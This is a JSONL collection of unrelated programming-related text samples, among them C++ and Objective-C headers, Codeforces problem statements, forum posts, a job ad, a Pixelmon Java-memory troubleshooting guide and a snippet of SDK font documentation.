{"text": "#ifndef _BIDL2SL_MATH_H_\n#define _BIDL2SL_MATH_H_\n\n#include <string>\n#include <vector>\n#include <set>\n#include <map>\n#include <bgcc.h>\n\nnamespace math {\n\n    class Result {\n    public:\n        enum {\n            E_SUCCESS = 0,\n            E_OVERLOW = 1,\n            E_DOWNLOW = 2\n        };\n\n        Result();\n        Result(int32_t value);\n\n        int32_t get_value() const;\n        std::string get_desc() const;\n\n        bool operator==(int32_t value) const;\n        bool operator!=(int32_t value) const;\n        bool operator< (int32_t value) const;\n        bool operator!=(const Result& rhs) const;\n        bool operator==(const Result& rhs) const;\n        bool operator< (const Result& rhs) const;\n\n    private:\n        int32_t _value;\n\n        static const struct desc_t {\n            int32_t value;\n            const char* desc;\n        } descs[];\n    };\n    bool operator==(int32_t value, const Result&);\n    bool operator!=(int32_t value, const Result&);\n    bool operator< (int32_t value, const Result&);\n    std::ostream& operator<<(std::ostream& o, const Result&);\n\n    class Math : public bgcc::Shareable {\n    public:\n        virtual ~Math() { }\n\n        virtual Result add(\n            int32_t a,\n            int32_t b,\n            int32_t & sum,\n            const std::map<std::string, std::string>& ctx) = 0;\n\n    };\n\n    class Math_add_args {\n    public:\n        Math_add_args();\n        virtual ~Math_add_args();\n\n        int32_t a;\n        int32_t b;\n\n        bool operator==(const Math_add_args& rhs) const;\n        bool operator!=(const Math_add_args& rhs) const;\n        bool operator< (const Math_add_args& rhs) const;\n        int32_t read(char* request, int32_t request_len, bgcc::SharedPointer<bgcc::IProtocol> proto);\n    };\n\n    class Math_add_pargs {\n    public:\n        virtual ~Math_add_pargs();\n\n        const int32_t* a;\n        const int32_t* b;\n\n        int32_t write(bgcc::SharedPointer<bgcc::IProtocol> proto) const;\n    };\n\n    class Math_add_result {\n    public:\n        Math_add_result();\n        virtual ~Math_add_result();\n\n        Result return_value;\n        int32_t sum;\n\n        bool operator==(const Math_add_result& rhs) const;\n        bool operator!=(const Math_add_result& rhs) const;\n        bool operator< (const Math_add_result& rhs) const;\n        int32_t write(bgcc::SharedPointer<bgcc::IProtocol> proto) const;\n    };\n\n    class Math_add_presult {\n    public:\n        virtual ~Math_add_presult();\n\n        Result* return_value;\n        int32_t* sum;\n\n        int32_t read(char *request, int32_t request_len, bgcc::SharedPointer<bgcc::IProtocol> proto) const;\n    };\n\n    class MathProxy : public bgcc::BaseProxy {\n    public:\n        MathProxy(\n            bgcc::ServerInfo serverinfo,\n            int32_t maxConn,\n            bgcc::ServiceManager* mgr = NULL,\n            int32_t tryCount = 5,\n            int32_t tryInterval = 500);\n\n        MathProxy(\n            bgcc::ServerInfo serverinfo,\n            bgcc::ServiceManager* mgr = NULL,\n            int32_t tryCount = 5,\n            int32_t tryInterval = 500);\n\n        MathProxy(\n            const std::string& proxy_name,\n            int32_t tryCount = 5,\n            int32_t tryInterval = 500);\n\n        Result add(\n            int32_t a,\n            int32_t b,\n            int32_t& sum,\n            bool last = false);\n\n    private:\n        void send_add(\n            const int32_t& a,\n            const int32_t& b,\n            int32_t seqid,\n            bgcc::SharedPointer<bgcc::ConnInfo> conn);\n\n        Result recv_add(\n            int32_t& sum,\n            bgcc::SharedPointer<bgcc::ConnInfo> conn);\n\n    };\n\n    class SSLMathProxy : public bgcc::SSLBaseProxy {\n    public:\n        SSLMathProxy(\n            bgcc::ServerInfo serverinfo,\n            int32_t maxConn,\n            bgcc::ServiceManager* mgr = NULL,\n            int32_t tryCount = 5,\n            int32_t tryInterval = 500);\n\n        SSLMathProxy(\n            bgcc::ServerInfo serverinfo,\n            bgcc::ServiceManager* mgr = NULL,\n            int32_t tryCount = 5,\n            int32_t tryInterval = 500);\n\n        SSLMathProxy(\n            const std::string& proxy_name,\n            int32_t tryCount = 5,\n            int32_t tryInterval = 500);\n\n        Result add(\n            int32_t a,\n            int32_t b,\n            int32_t& sum,\n            bool last = false);\n\n    private:\n        void send_add(\n            const int32_t& a,\n            const int32_t& b,\n            int32_t seqid,\n            bgcc::SharedPointer<bgcc::ConnInfo> conn);\n\n        Result recv_add(\n            int32_t& sum,\n            bgcc::SharedPointer<bgcc::ConnInfo> conn);\n\n    };\n\n    class MathProcessor : public bgcc::BaseProcessor {\n    public:\n        MathProcessor(bgcc::SharedPointer<Math> intf);\n\n        virtual ~MathProcessor(){ }\n\n        virtual int32_t process(\n            char* request,\n            int32_t request_len,\n            bgcc::SharedPointer<bgcc::IProtocol> proto);\n\n        virtual std::string get_name() const;\n\n    protected:\n        virtual int32_t do_function__(\n            char* request,\n            int32_t request_len,\n            bgcc::SharedPointer<bgcc::IProtocol> proto,\n            const std::string& fname, int32_t seqid);\n\n        bgcc::SharedPointer<Math> __intf;\n\n    private:\n        int32_t do_add(\n            char* request,\n            int32_t request_len,\n            bgcc::SharedPointer<bgcc::IProtocol> proto,\n            int32_t seqid);\n\n        typedef int32_t (MathProcessor::* do_function_ptr)(\n            char* request,\n            int32_t request_len,\n            bgcc::SharedPointer<bgcc::IProtocol> proto,\n            int32_t seqid);\n\n        std::map<std::string, do_function_ptr> __fun_map;\n    };\n}\n\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 1644, "token_count_with_eod": 1645, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Does anyone have a complete list of port numbers? I have a firewall\nwhere I am seeing traffic on port 161 but haven't been able to\ntrack it down. All of the hosts behind the firewall are NT boxes\nand I'm thinking that it's related to WINS. It seems that when I\ndo a Network browse it starts firing off packets to all IP addresses\non the other side of the firewall via udp port 161. It seems to start\nat one IP and then increment bit wise.\nI've found some web pages that list port numbers but they're pretty\nmuch the same as unix:/etc/services.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 134, "token_count_with_eod": 135, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is an interactive problem.\n\nNote: the XOR-sum of an array $$$a_1, a_2, \\ldots, a_n$$$ ($$$1 \\le a_i \\le 10^9$$$) is defined as $$$a_1 \\oplus a_2 \\oplus \\ldots \\oplus a_n$$$, where $$$\\oplus$$$ denotes the bitwise XOR operation.\n\nLittle Dormi received an array of $$$n$$$ integers $$$a_1, a_2, \\ldots, a_n$$$ for Christmas. However, while playing with it over the winter break, he accidentally dropped it into his XOR machine, and the array got lost.\n\nThe XOR machine is currently configured with a query size of $$$k$$$ (which you cannot change), and allows you to perform the following type of query: by giving the machine $$$k$$$ distinct indices $$$x_1, x_2, \\ldots, x_k$$$, it will output $$$a_{x_1} \\oplus a_{x_2} \\oplus \\ldots \\oplus a_{x_k}$$$.\n\nAs Little Dormi's older brother, you would like to help him recover the XOR-sum of his array $$$a_1, a_2, \\ldots, a_n$$$ by querying the XOR machine.\n\nLittle Dormi isn't very patient, so to be as fast as possible, you must query the XOR machine the minimum number of times to find the XOR-sum of his array. Formally, let $$$d$$$ be the minimum number of queries needed to find the XOR-sum of any array of length $$$n$$$ with a query size of $$$k$$$. Your program will be accepted if you find the correct XOR-sum in at most $$$d$$$ queries.\n\nLastly, you also noticed that with certain configurations of the machine $$$k$$$ and values of $$$n$$$, it may not be possible to recover the XOR-sum of Little Dormi's lost array. If that is the case, you should report it as well.\n\nThe array $$$a_1, a_2, \\ldots, a_n$$$ is fixed before you start querying the XOR machine and does not change with the queries.", "source": "cpt_codeforces", "language": "en", "token_count": 462, "token_count_with_eod": 463, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Best Order to Learn Front-End and Back-End Languages?\nHey guys I had a question. What is the best order to learn Front-End and Back-End Programming Languages. I’m looking to be a Web Developer and so far I’ve taught myself HTML, CSS, and I’m currently working on Bootstrap. I was looking into a coding bootcamp but I’ve read so many mixed reviews.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 82, "token_count_with_eod": 83, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The beginning of a new year seems like a very good moment to start a \"daily\" challenge, so in order to give a concrete, measurable context to my plans for 2019 I decided to challenge myself to create a daily parametric design: a pattern, a texture, a full render or a basic idea, the only requirement is that each image is to be centered around a parametric/procedural design developed with Grasshopper.\nAs with all these challenges, the hardest part is to to be able to persevere and find consistency along an entire year - then again, if this was an easy task, it wouldn't be a challenge...\nTo start out I'm posting an image centered around the Christmas/New Year Holiday Theme - A shape that mixes the structure of snowflakes with the overall shape of a Christmas Tree.\nThe original idea was to have a full animation, however time and logistic constraints have made this not possible, so I'm just posting a still image.\nThe 3D model was created using a relatively simple Grasshopper definition, applied recursively for a small number of iterations.\nThe image was rendered in Blender using Cycles.\nIf you find the image interesting and want to know more about its creation please let me know, I might post a video showing the creation process.\nAnd, by the way, Happy New Year!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 280, "token_count_with_eod": 281, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "(Very smart trapped Pug shown)\nAre you stuck on a Proteomics, Metabolomics, or general Mass Spec related problem?\nCould a few hours of help from someone whose favorite thing in this world is to read about and try to solve mass spec related questions maybe get you over that hump?\nCan you handle some ridiculous levels of enthusiasm?\nI do some consulting stuff sometimes. Contact me: (firstname.lastname@example.org)!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Your question of why...\nKenone, If I read your question right, it's likely because MS sells versions to a wide variety of customers, that want various levels of control over workstations. From local admin up to Domain manager (with multiple levels of support), there are a huge variety of requirements for IT managers to decide upon. The Wikileaks leaks, for example, could have likely been avoided with proper domain or forced local credentials. With a huge range of variety of customers, come a lot of decisions, and about what is possible. UNIX has had the same notion as Windows for way longer, most users have never had superuser level privs on UNIX boxes. The problem you state is that many software developers, never being forced to write an install for a non admin user, assumed that all installs would be done by admin level privs. It's really not Microsoft's 'fault'. But they created the earlier Windows environment (pre-Win2k) that allowed this behavior to flourish. Hope that helps!\nKeep Up with TechRepublic", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 212, "token_count_with_eod": 213, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "From our unique methodology to our ground-breaking projects, #MEET4IMPACT is always trying to push for innovation and experimentation within our sector. As we forge ahead on our journey, we keep learning...and we hope to take you along with us! That is why we have created our own set of resources to put our knowledge into helpful and creative\nWe hope this toolbox is as useful for you as it is for us - everything on here is available to download. Just follow the link at the bottom of the page.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 105, "token_count_with_eod": 106, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#import <Foundation/Foundation.h>\n#import \"Fixtures.h\"\n#import \"SpecHelper.h\"\n\nextern BOOL gEagerSingletonHook;\n\n@protocol MetaCar<NSObject>\n- (id)manufacture;\n@end\n\n@protocol GearBox<NSObject>\n- (void)shiftUp;\n- (void)shiftDown;\n@optional\n- (void)engageClutch;\n@end\n\n\n@interface Car(Meta)\n+ (id)manufacture;\n@end\n\n\n@interface AfterMarketGearBox : NSObject<GearBox>\n@end\n\n@interface EagerSingleton : NSObject\n@end\n\n@interface MyModule : JSObjectionModule\n{\n  BOOL _instrumentInvalidEagerSingleton;\n  BOOL _instrumentInvalidMetaClass;\n}\n\n@property(weak, nonatomic, readonly) Engine *engine;\n@property(weak, nonatomic, readonly) id<GearBox> gearBox;\n@property(nonatomic, assign) BOOL instrumentInvalidEagerSingleton;\n@property (nonatomic, assign) BOOL instrumentInvalidMetaClass;\n\n- (id)initWithEngine:(Engine *)engine andGearBox:(id<GearBox>)gearBox;\n@end\n\n@interface CarProvider : NSObject<JSObjectionProvider>\n@end\n\n@interface GearBoxProvider : NSObject<JSObjectionProvider>\n@end\n\n@interface ProviderModule : JSObjectionModule\n@end\n\n@interface BlockModule : JSObjectionModule\n\n@property (nonatomic, assign) BOOL instrumentNilBlock;\n\n@end\n\n@interface CreditCardValidator : NSObject\n@end\n\n@protocol CreditCardProcessor <NSObject>\n- (void)processNumber:(NSString *)number;\n@end\n\n@interface BaseCreditCardProcessor : NSObject<CreditCardProcessor>\n@end\n\n@interface VisaCCProcessor : BaseCreditCardProcessor<CreditCardProcessor> {\n  CreditCardValidator *_validator;\n}\n- (id)initWithCreditCardNumber:(NSString *)aCCNumber;\n@property (nonatomic, strong) NSString *CCNumber;\n@property (nonatomic, strong) CreditCardValidator *validator;\n@end\n\n@interface FirstModule : JSObjectionModule\n@end\n\n@interface SecondModule : JSObjectionModule\n@end\n\n@interface ScopeModule : JSObjectionModule\n\n@end\n\n@interface BlockScopeModule : JSObjectionModule\n\n@end\n\n@interface ProviderScopeModule : JSObjectionModule\n\n@end\n\n@interface BlinkerProvider : NSObject<JSObjectionProvider>\n@end\n\n@interface NamedModule : JSObjectionModule\n- (id)initWithRightHeadlight:(Headlight*)rightHeadlight;\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 510, "token_count_with_eod": 511, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You are given an array $$$[p_1, p_2, \\dots, p_n]$$$, where all elements are distinct.\n\nYou can perform several (possibly zero) operations with it. In one operation, you can choose a contiguous subsegment of $$$p$$$ and remove all elements from that subsegment, except for the minimum element on that subsegment. For example, if $$$p = [3, 1, 4, 7, 5, 2, 6]$$$ and you choose the subsegment from the $$$3$$$-rd element to the $$$6$$$-th element, the resulting array is $$$[3, 1, 2, 6]$$$.\n\nAn array $$$a$$$ is called reachable if it can be obtained from $$$p$$$ using several (maybe zero) aforementioned operations. Calculate the number of reachable arrays, and print it modulo $$$998244353$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A Snake in the hole? Who cares?\nSometimes a story is just a story—except when it is not. This story was just a story at the time. Over the years, upon reflection, it has taken on more meaning. To me, today, the story about there maybe being a snake in the hole in the tree is more than a story about there maybe being a snake in the hole in the tree.\nWhen I tell it, I sense the cool damp of the Alabama woods in the late fall. I see the fallen leaves, the moss on the bare trees, the oak, the hickory, the sweet gum. I see the squirrel running around the tree, dropping to the ground when Dad shot him. I catch the subdued smell of Dad's ever present cigar and the smell of the wood chips as the tree is cut into firewood. That day in the woods with my Dad is a very good memory.\nI see it now also as a caution against being obsessed with the what ifs of life. I am reasonably sure that if there had been a snake in the hole, my Dad would have dealt with it. I suppose one could make a case for investigating a situation before getting involved but I am very much aware that there are all sorts of possible threats out there that can paralyze me if I choose to make that my main focus.\nThis is just a story—unless you choose to make something more out of it.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 294, "token_count_with_eod": 295, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Job ID: MI-601606 (99990722)\n.Net Architect with C#, Oracle, SQL, MVC, Entity, Razor, jQuery, TFS, agile, scrum and State Elections experience\nLocation:Lansing , MI(MDOS)\nDuration: 2 months\nexperience working in web development with .Net and C# Required 5 Years\nexperience in web development with Oracle backend database Required 5 Years\nexperience as a software architect- developing solution architecture from business requirements, information architecture and technical architecture Required 7 Years\nexperience working with data analysis including basic SQL skills using a relational database management system (Oracle, SQL Server or DB2) Required 5 Years\nexperience with object oriented design and development Required 10 Years\nexperience with MVC, the Entity framework, Razor, JQuery and related .NET technologies and frameworks Required 3 Years\nexperience working on software development projects as a business analyst where the project was focused on public facing or large enterprise web devel Required 5 Years\nexperience writing functional designs which include high level requirements, user stories, process overviews and documenting screen mockups using TFS. Required 5 Years\nexperience producing design documents on a software development project where the methodology was agile, scrum or a more formal method Required 5 Years\nexperience working in a government agency Required 5 Years\nexperience working with State elections Required 5 Years\nThe Infrastructure Solutions Architect will perform a combination of both Infrastructure and Application Architect responsibilities related to MDOS Elections, Financial, and Legal departments. The Infrastructure Solutions Architect will also lead the efforts of those performing Business Analyst duties and executing tasks as defined in the State of Michigan’s Project Management Methodology (PMM) as well as the Systems Engineering Methodology (SEM).\nSpecific tasks may include but are not limited to:\n• Analyze and recommend architecture solutions\n• Lead developers in development of system in accordance with defined architecture.\n• Ensure compliance with standards (defacto and dejure)\n• Analyze and recommend solutions for Web and mobile applications\n• Analyze business practices and processes to determine best practice strategies to ensure maximum effectiveness and efficiency\n• Assist with Strategic planning, including applications integration and legacy application strategy\n• Analyze hardware and software to assist in the standards determination and setting of processes\n• Perform Cost analysis and modeling to assist in the assessment of the return on investment for projects and computer operations.\n• Analyze application development processes and tools\n• Recommend changes in hardware, storage, network systems, operating systems, COTS software, security and software design to meet future growth and improve system performance\n• Assist with the development of Business Process Models\n• Assist with architecting the integration of various vendor technologies including COTS\n• Support technical teams with implementations\n• Assist with the coordination of architectural change in both technical and business environments\n• Assist with architecting diverse solutions into a cohesive and manageable environment\n• Recommend solutions for technical architectures of web content management applications\n• Assist in the development of solution architectures from business requirements, information architecture, and technical architecture\n• Analyze market trends so as to relate business needs with technical opportunities\n• Participate in technology test plan development and execution\n• Create and modify appropriate documentation deliverables that exist within the Systems Engineering Methodology and are required for the State of Michigan standards.\n• Lead and review BA efforts and gathering for completeness.\nServes as the communication bridge between non-technical business users and technical solution developers. The Solutions Architect has a depth of knowledge in business analysis and design processes including knowledge of methodology, tools, and techniques. This individual is an active participant in aspects of department assessment, visioning, and reengineering.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 751, "token_count_with_eod": 752, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Appleman and Toastman play a game. Initially Appleman gives one group of n numbers to the Toastman, then they start to complete the following tasks:\n\n- Each time Toastman gets a group of numbers, he sums up all the numbers and adds this sum to the score. Then he gives the group to the Appleman.\n- Each time Appleman gets a group consisting of a single number, he throws this group out. Each time Appleman gets a group consisting of more than one number, he splits the group into two non-empty groups (he can do it in any way) and gives each of them to Toastman.\n\nAfter guys complete all the tasks they look at the score value. What is the maximum possible value of score they can get?", "source": "cpt_codeforces", "language": "en", "token_count": 156, "token_count_with_eod": 157, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "3.1 - Add/Remove Beneficiary\nClick the ‘Manage’ icon in the bottom left of the app. Click on ‘Add beneficiary’. Enter the beneficiary address (the beneficiary address is their Account No. from Valora).\nIn order to be able to be added as a beneficiary, the user needs to have impactMarket app connected to Valora with the Account No. being used to add as a beneficiary. If the user is not registered, an error \"Not registered\" will be shown.\nAlso note that when a beneficiary is added, $0.05 will be sent from the community contract to the beneficiary being added (to cover the transaction fees). This means that the community needs to have at least $0.05 to add a new beneficiary.\nAfter removing a beneficiary, it could not be added again.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 170, "token_count_with_eod": 171, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is the hard version of the problem. The difference between the versions is that in this version, you need to count the number of good arrays. You can hack only if you solved all versions of this problem.\n\nKevin is visiting the Red Church, and he found a puzzle on the wall.\n\nFor an array $$$ a $$$, let $$$ c(l,r) $$$ indicate how many distinct numbers are among $$$ a_l, a_{l+1}, \\ldots, a_r $$$. In particular, if $$$ l > r $$$, define $$$ c(l,r) = 0 $$$.\n\nYou are given a string $$$ s $$$ of length $$$ n $$$ consisting of letters $$$ \\texttt{L} $$$ and $$$ \\texttt{R} $$$ only. Let a non-negative array $$$ a $$$ be called good, if the following conditions hold for $$$ 1 \\leq i \\leq n $$$:\n\n- if $$$s_i=\\verb!L!$$$, then $$$c(1,i-1)=a_i$$$;\n- if $$$s_i=\\verb!R!$$$, then $$$c(i+1,n)=a_i$$$.\n\nYou need to count the number of good arrays $$$a$$$. Since the answer may be large, you only need to output the answer modulo $$$998\\,244\\,353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 284, "token_count_with_eod": 285, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "E-wallet Mobile App\nCUT isan e-wallet mobile application that available in China and Myanmar. It works well with both RMB and MMK currencies.\nThe Technology Stack\nAs a leading web/mobile app development company, Nimble AppGenie uses the latest technologies and tools to ensure high-quality development solutions.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 66, "token_count_with_eod": 67, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Fixing memory issues\nOne of the most common issues encountered when installing Pixelmon is the user's system running out of memory (RAM). Pixelmon has many large assets, such as models, textures, and music, that require significantly more memory to load compared to vanilla Minecraft and most other mods, and not having enough memory will cause Minecraft to either crash or freeze while loading.\nIdentifying the issue\nMemory issues are not the only cause of Minecraft not loading. Before attempting to fix a memory issue, it must first be confirmed that a memory issue is causing the problem.\nIf Minecraft crashes when attempting to start up, it is possible that the crash is caused by running out of memory. To check whether this is the case, you will need to look at the crash report that is displayed after Minecraft crashes. The first line of the crash report after \"Description\" is the start of the actual crash. Look for any of the following lines.\n- \"java.lang.OutOfMemoryError: Java heap space\"\n- \"net.minecraftforge.fml.common.LoaderException: java.lang.OutOfMemoryError: Java heap space\"\n- \"net.minecraftforge.fml.common.LoaderException: java.lang.NoClassDefFoundError: com/pixelmonmod/pixelmon/...\"\n- \"SplashProgress has detected a error loading Minecraft.\"\n- \"Caused by: java.lang.IllegalAccessError: tried to access field net.minecraft.client.renderer.entity.RenderManager.field_178636_l from class com.pixelmonmod.pixelmon.client.ClientProxy\"\n- \"at net.minecraft.world.World.getSkyColorBody(World.java:1477)\"\nIf the crash begins with any of these lines, then Minecraft is crashing because it ran out of memory.\n- If Minecraft freezes on the loading screen, it is very likely that Minecraft has run out of memory. In particular, memory issues commonly cause the Forge loading screen to freeze while loading models and textures (\"Reloading — ModelManager\").\n- If Minecraft lags severely during gameplay, it is possible that Minecraft doesn't have enough memory to run smoothly.\nThe Pixelmon launcher will not allow you start up Minecraft until at least 2G of memory is allocated. While this restriction usually prevents memory issues from occurring, there are certain situations that may still cause memory issues.\n- If you have already allocated at least 2G of memory through the Pixelmon launcher and Minecraft still crashes or freezes due to memory issues (as detailed above), see this section.\n- If the Pixelmon launcher does not allow you to allocate more than 1200M of memory, see this section.\nAllocating more memory\nTo fix an issue with running out of memory, more memory must be allocated to Minecraft (at least 2G).\n- On the Minecraft launcher, select the \"Launch options\" tab. Make sure that the switch labeled \"Advanced settings\" is turned on.\n- Find and edit the profile that you are using to play Pixelmon.\n- Find the \"JVM Arguments\" text box. Inside this text box, find the text that reads \"-Xmx\". After this text, there will be a number and a letter; e.g., \"-Xmx1G\" or \"-Xmx512M\". Change this to \"-Xmx2G\".\n- Start Minecraft. If it completes start-up successfully, you have allocated enough memory.\n- On the main screen of the Pixelmon launcher, locate the gear icon in the top-right corner of the launcher and click on it.\n- Find the slider labeled \"Maximum memory (MB)\", and increase its value to at least 2G.\n- If you cannot increase this value more than 1200M, see this section.\n- Locate the command that you use to start your server. Depending on how you set up your server, this command may inside an executable file (e.g., a \".bat\" or \".command\" file), or the command may be directly entered into the command line.\n- Within this command, find the text that reads \"-Xmx\". After this text, there will be a number and a letter; e.g., \"-Xmx1G\" or \"-Xmx512M\". Change this to \"-Xmx2G\".\n- If you don't see any text that reads \"-Xmx\", add \"-Xmx2G\" directly after \"java\", separated on both sides by spaces. For example:\njava -Xmx2G -jar minecraft_server.jar nogui\n- Start the server.\nIf Minecraft does not successfully start up after changing the JVM arguments, there are several possible causes.\nIf you are using Windows, you may be using a 32-bit Java version, which cannot allocate the needed 2G of memory needed to run Pixelmon. One way to check this is to examine the Minecraft game output when Minecraft fails to start. If you have a 32-bit Java version, the following message will be displayed:\nError occurred during initialization of VM Java HotSpot(TM) Client VM warning: ignoring option MaxPermSize=128m; support was removed in 8.0 Could not reserve enough space for <number>KB object heap\nYou can download the installer for a 64-bit version of Java here. Make sure to choose the version of Java that is labeled \"Windows x64\".\nAfter running the Java installer and installing the 64-bit Java version, find the file path to the Java executable file that was just installed.\n- On Windows, the default file path where Java is installed is \"C:\\Program Files\\Java\\jdk1.8.0_<version>\\bin\\java.exe\".\n- On Mac OS X, the default file path where Java is installed is \"/Library/Java/JavaVirtualMachines/jdk1.8.0_<version>.jdk/Contents/Home/bin/java\".\nOnce you have found the file path to the Java executable file, you will need to configure Minecraft to use this file. This will allow Minecraft to use the new Java version you have installed.\n- On the Minecraft launcher, edit your profile, find the text box labeled \"Java executable\", and enable it if it is not already enabled. Then, replace the contents of the text box with the file path to the Java executable file. Save your profile after doing this.\n- On the Pixelmon launcher, click the gear in the top-right corner of the launcher to open the launcher settings. Click on Select Java Install and browse your file system to find the Java executable file. Then, click \"Continue\" to save your settings changes.\n32-bit operating system\nIf you are using Windows and are unable to install a 64-bit Java version, it is possible that your operating system is 32-bit and cannot run 64-bit programs. You can also check the initial crash report before you attempted to change the JVM arguments. In the \"System Details\" section at the bottom of the crash report, look for a line starting with \"Operating System\". If it contains \"(x86)\", your operating system is 32-bit; you will need to upgrade to a 64-bit operating system in order to play Pixelmon. Below is an example of a 32-bit operating system:\nOperating System: Windows 10 (x86) version 10.0\nBe warned that upgrading Windows from 32-bit to 64-bit is not a trivial task. If you are willing to upgrade, see one of the following links depending on the version of Windows you are using:\nIf you cannot upgrade to a 64-bit operating system, it is possible that your computer's CPU hardware is 32-bit. In this case, you will need to get a new computer with a 64-bit CPU.\nIf you have already installed a 64-bit Java version and you're still getting the same error as before, then your computer may not have enough RAM to run Pixelmon. Check the amount of RAM on your system by right-clicking on \"Computer\" (Windows 7/8) or \"This PC\" (Windows 10) and choosing \"Properties\". Look for the \"Installed memory (RAM)\" entry under \"System\". If you have 2.00 GB RAM or less installed, you will need to install more RAM on your system in order to run Pixelmon. This will require you to physically buy more RAM and insert it into your computer; details about this process can be found here.\nGlobal Java options\nWindows systems have a feature that limits the amount of memory that can be allocated to a Java program. Frequently, this limit is less than 2G of memory and will override any manually defined JVM arguments, causing too little memory to be allocated to Minecraft. To check if this limit is affecting you, look at the \"System Details\" section of the Minecraft crash report, and find the line that starts with \"JVM Flags\", and look for \"-Xmx\" in this line. If you see multiple \"-Xmx\" arguments, including one that is not in the \"JVM Arguments\" text box in your Minecraft profile, the global Java limit is preventing you from allocating enough memory.\nThe following snippet is an example of the JVM flags that are displayed in a crash report when the global Java limit problem occurs. Notice that there is a user-defined \"-Xmx2G\" and an additional \"-Xmx512M\" that the user did not manually add.\nJVM Flags: 5 total; ... -XX:MaxPermSize=128m -Xmx2G -Xms256M -Xmx512M\nTo remove this global limit, follow these steps:\n- In File Explorer, right-click on \"Computer\" (Windows 7/8) or \"This PC\" (Windows 10) and choose \"Properties\".\n- A window will open. In the sidebar on the left of this window, select \"Advanced system settings\".\n- A \"System Properties\" window will open. Select the \"Environment Variables\" button at the bottom of this window.\n- In the \"Environment Variables\" window, scroll through the list labeled \"System variables\" until you find a variable labeled \"_JAVA_OPTIONS\".\n- Select the \"_JAVA_OPTIONS\" entry and click \"Delete\" to remove it.\n- Restart your computer.\n- After Windows restarts, start up Minecraft to verify that it is now able to start successfully.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Alice and Bob play a game. They have a binary string $$$s$$$ (a string such that each character in it is either $$$0$$$ or $$$1$$$). Alice moves first, then Bob, then Alice again, and so on.\n\nDuring their move, the player can choose any number (not less than one) of consecutive equal characters in $$$s$$$ and delete them.\n\nFor example, if the string is $$$10110$$$, there are $$$6$$$ possible moves (deleted characters are bold):\n\n1. $$$\\textbf{1}0110 \\to 0110$$$;\n2. $$$1\\textbf{0}110 \\to 1110$$$;\n3. $$$10\\textbf{1}10 \\to 1010$$$;\n4. $$$101\\textbf{1}0 \\to 1010$$$;\n5. $$$10\\textbf{11}0 \\to 100$$$;\n6. $$$1011\\textbf{0} \\to 1011$$$.\n\nAfter the characters are removed, the characters to the left and to the right of the removed block become adjacent. I. e. the following sequence of moves is valid: $$$10\\textbf{11}0 \\to 1\\textbf{00} \\to 1$$$.\n\nThe game ends when the string becomes empty, and the score of each player is the number of $$$1$$$-characters deleted by them.\n\nEach player wants to maximize their score. Calculate the resulting score of Alice.", "source": "cpt_codeforces", "language": "en", "token_count": 352, "token_count_with_eod": 353, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "int FontAdd(char *foldername);\nLoad a custom bitmap font. Font folders must be placed in the Debug/Assets folder of your project.\nReturns an int handle to the loaded font.\nFolder in which font images are stored. This path is relative to the Assets folder in your Application's folder.\nNOTE: The file system used by iOS is case sensitive, so be sure to match the case of the file name in your code to that of the file on your computer.\nThe FontAdd() function loads images specified by foldername to memory. Use TextAdd() to add text using a specific font. You may create your own font images using the DragonFireSDK Font Generator utility that ships with DragonFireSDK, and is located in the folder where you installed DragonFireSDK.\nAvailable in DragonFireSDK 1.0 and later.\nDescription: This program will load text images from a folder named FontMedium, add \"Hello\" at 0, 0 using FontMedium and \"Bye\" at 100, 0 using FontMedium.\nFontMedium = FontAdd(\"FontMedium\");\nTextAdd( 0, 0, \"Hello\", FontMedium);\nTextAdd(100, 0, \"Bye\", FontMedium);", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 264, "token_count_with_eod": 265, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
